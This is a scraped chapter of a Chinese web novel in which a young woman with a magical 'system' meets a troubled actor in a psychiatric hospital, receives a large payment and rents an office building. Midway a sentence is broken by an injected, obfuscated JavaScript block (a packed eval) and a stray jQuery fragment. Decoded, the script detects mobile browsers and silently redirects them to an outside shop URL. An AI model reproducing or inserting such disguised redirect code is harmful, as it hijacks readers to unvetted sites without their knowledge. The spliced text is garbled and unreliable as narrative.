文趣网 > 其他小说 > 救赎顶流后他每天COS求抱抱 > 14. “你是不是从我这里夺走了什么?”
    许荔桉回头看了一眼诊室门牌,确认自己确实在精神病院诊室门口,问:“你怎么在这?”

    周述年没有回答,握住她的小臂,拉着她小跑到走廊尽头的安全通道内。

    四下无人,周述年松开握住她的手,眼神恳切:“我们以前是不是认识?”

    许荔桉嘴唇微张,眼里的神采被瞬间点亮:“你想起来了?”

    可眼前人并没有变得和记忆中一样温柔,反倒染上了一层陌生的怨恨。

    周述年按住许荔桉的肩,重重地推在身后的白墙上,问:“你是不是从我这里夺走了什么?”

    “你在说什么?”许荔桉眼神不解,而对面的人目光审视,仔细观察她的每一个细微表情。

    那天在虹日广场见到许荔桉后,他脑海中凭空多出一段没头没尾的记忆。

    18岁的许荔桉被烂尾楼业主推下楼,当场身亡,但是这场事故被彻底抹掉,一转眼,她又活得好好的,这个事故就像没有发生过一样。

    而周述年的生命被用来换取许荔桉活着的机会,逃不出30岁死亡的终局,多么残忍啊。

    这几天他对许荔桉进行了调查,得知她就在几个月前坠楼过,事件细节与他多出的记忆几乎完全一致。

    他以为两人是死敌,所以许荔桉才夺他的命,可是许荔桉眼里的激动之意并不符合他的猜想。

    周述年冷漠地看着许荔桉,深深吸一口气,松开了手里的力道,内心思考:不是仇人,难道是……爱人?是我自愿的?

    他刻意凑近许荔桉,一呼一吸间,两人的气息交缠在一起。

    周述年的唇就这样落下来,酥酥软软地落在左侧脸颊,这是她第一次被异性亲吻,全身像被电了一样。

    她的衣服有些凌乱,露出洁白的肩颈,被周述年的气息轻轻拂过。

    看向周述年,他此时耳根通红,神色却十分冰冷。

    身体紧绷,心脏跳得像打鼓,身体的反应不会骗人,周述年确认了自己确实曾喜欢过许荔桉。

    “对不起。”他收回自己的试探,“我们之前……”

    安全通道的门被猛地推开,打断了周述年的话,两人退开一定距离,出现的人似乎也猜到了这里发生了什么,迅速上了楼梯。

    周述年把口罩戴上,周身温热的空气里还残留着两人暧昧缠绵的气息。

    理智上,许荔桉该生气的,可不知为何,她没有推开周述年的想法,甚至有些气恼被突然出现的人打断。

    难道,是因为寂寞太久了,还是纯纯贪图周述年的色相?

    但似乎,每次周述年主动靠近,她都从没有抗拒过。

    其实是有一点失落的,这次的接触许荔桉确信他的记忆也被更改了,没有再理会周述年,她拖着身体回到病房。

    周述年看着她逐渐远去的背影,脑海里出现无数个重叠的相似场景,可一旦往深处去想,那些画面就全都消散了。

    回到病房,许荔桉询问系统:“系统,麻烦列出一份情绪吸取的记录,我想总结一下哪些事能够给我带来比较大的情绪波动。”

    “好的宿主,已经按照从高到低排序啦。”

    她查看系统页面,排在前面的情绪值基本都是和周述年见面带来的,开心,悸动,苦涩……

    她抬手覆在心脏处,感受到沉重用力的心跳声,刚刚见到周述年,她又是什么情绪呢?

    系统积分还在不停上涨,一直涨到六千,应该很强烈吧。

    许荔桉躺在病床上,静静感受着扑通扑通的心跳声。

    下午,许妈妈来到病房看望许荔桉,把她的手机也拿来了。

    许妈妈把带来的饭菜一道一道摆在移动餐桌上,关切地问:“宝贝,你这几天怎么样?有没有觉得好些了?”

    她只觉胸口又沉又闷,话说出口却不带丝毫情绪:“妈妈,是哥哥把我打晕送来的。”

    “他竟然对你动手?!他跟我说的你自愿来的啊?”

    许荔桉点点头,许妈妈气得抡起袖子:“伤到哪了?宝贝你放心,我回去就收拾他。”

    “医生检查了,没事,就是痛了两天。”香热的饭菜被递到她面前,许荔桉迫不及待尝了一口,一滴泪却悄无声息落下。

    她不知道自己为什么落泪。

    许妈妈絮絮叨叨:“前几天你哥哥神经兮兮的,非说我们家进鬼打他了,现在闹着要换地方住。”

    许荔桉眼角的泪还没干,却扑哧一声笑出声来。

    她吃着饭,打开手机查看,发现有很多个未接电话:李亿忱的,银行的……

    打开短信通知:许女士您好,您尾号为****的银行卡入账500万元,备注自愿赠与,合同号码****。

    点开微聊,有来自李亿忱的好友申请,还有李宣不痛不痒的道歉信息。

    她不是知道错了,是知道怕了。

    许荔桉不准备搭理李宣,但通过了李亿忱的好友申请,对方立马发来消息:

    “许小姐,真的太对不起你了,我这几天调查了李宣做的那些事,还有对你的污蔑,是我没有管教好她。您提条件吧,我们会尽最大能力弥补。”

    她删删改改,最终只发出去:让李宣公开真诚地道歉。

    “吃饭不要看手机。”许妈妈叮嘱,又问:“你什么时候能出院啊?”

    “医生说还需要观察一周。”许荔桉匆匆吃完饭,把饭盒餐具都收拾好。

    许妈妈把饭盒装好,说:“还好没有影响你开学,我最近找到了一份奢侈品销售的工作,现在要去上班了,妈妈下次来看你。”

    她点头,很开心许妈妈能有一份工作。

    回电跟银行确认后,500万的存款算是彻底属于许荔桉了,开公司的计划该提上日程了。

    “系统,麻烦帮忙选一下有没有合适开娱乐公司的办公楼,地理位置可以稍微偏一点,我想租一整栋,大概五六层的样子,一步到位。”

    “好的,查询中……找到啦,有三个符合宿主需求的。”

    三个办公楼的网上图片她都看了,很不错,价格也在预算内。

    许荔桉向医生报告了,说有急事处理,得到了一下午的假。

    三个地方都跑去看了,最终租下来潮远区文创园的一栋六

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17700407|208144||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    层的楼作为公司选址,价格谈好,免前三个月租金,当天就签了合同。

    下一步就是注册公司,许荔桉全权交给系统处理,隔天就办好了,她只录了个脸以及签字。

    吃过晚饭,许荔桉心情不错,在附近逛了逛,来到活动室。

    活动室里静悄悄的,中间有一个大电视,许荔桉找了个座位坐好,此时周述年正站在门口,他是跟着许荔桉来的。

    电视上面正播放着新闻:

    “傅氏集团总裁傅斯珩两天前被袭击,右腿重伤,据记者了解,行凶者力气非常大,造成粉碎性骨折,腿部神经部分坏死,治愈几率极低……”

    她盯着新闻里傅斯珩的照片,产生了愧疚之意,计划下周的恢复丸就先给傅斯珩留着。

    周述年捕捉到许荔桉眼神的变化,没忍住吐槽:“看到帅的眼睛都不眨一下。”

    许荔桉听到了,瞥了周述年一眼,并没有理会。

    下一条新闻是:“男演员周述年因工作压力太大,焦虑入院,经纪人透露目前正在恢复中,请关注艺人作品。”

    公司真的不放过任何一个炒作的机会啊,周述年尴尬地移开眼。

    画面跳转到周述年的照片以及在古装剧中的视频片段,许荔桉伸手遮住自己的眼睛:

    “不是帅的我不看。”

    她说着,睁开一只眼从指头缝里偷偷看周述年的表情。

    周述年脸色很不好,脱掉口罩靠近许荔桉,握住她的手腕,移开她覆盖在脸上的手。

    对上许荔桉偷看的那只眼,他的语气生气又有些无奈,双眼紧紧注视着她,问:“你看着我,再说一遍到底帅不帅?”

    “呃……你的……你的……”许荔桉的目光在周述年的脸上移动,上下左右看了个遍,想要找到一丝缺陷。

    此时的他没有任何妆造,头发蓬松,前额散着几缕碎发,皮肤细腻,清晰得连鼻子侧边的小痣,皮肤的纹理都看得一清二楚。

    素颜状态下,眉毛浓密,睫毛很长,唇色也是樱红色,挑不出一点毛病。

    “你的脸太白了,不够红润,看起来气血不好。”许荔桉鸡蛋里挑骨头,目光却停留在他黑色的耳钉和贴在锁骨的项链上。

    周述年勾起唇角:“是吗?那你是不是气血太好,不然为什么脸这么红?”

    许荔桉移开视线,伸手触摸自己的脸:“有吗?”

    指尖是温热的触感,她内心有些异样,系统适时地打开虚拟屏幕,显示积分正暴涨中。

    周述年敏锐地捕捉到了她的情绪,察觉到自己的行为越界了。

    他沉下脸,刻意拉远了一些距离,试探问:“你,你是不是一个多月前被人推下楼了,我看新闻知道的。”

    许荔桉点头,但这段记忆对她来说是完全空白的,于是转移话题:“说真的,你为什么来看精神医生了?”

    “新闻里不是说了吗?焦虑。”

    “真的是焦虑吗?”

    周述年浅笑:“不是,不想参加公司安排的综艺录制。”

    他觉得很奇怪,两人之前还很陌生,此刻却能坐下来谈笑。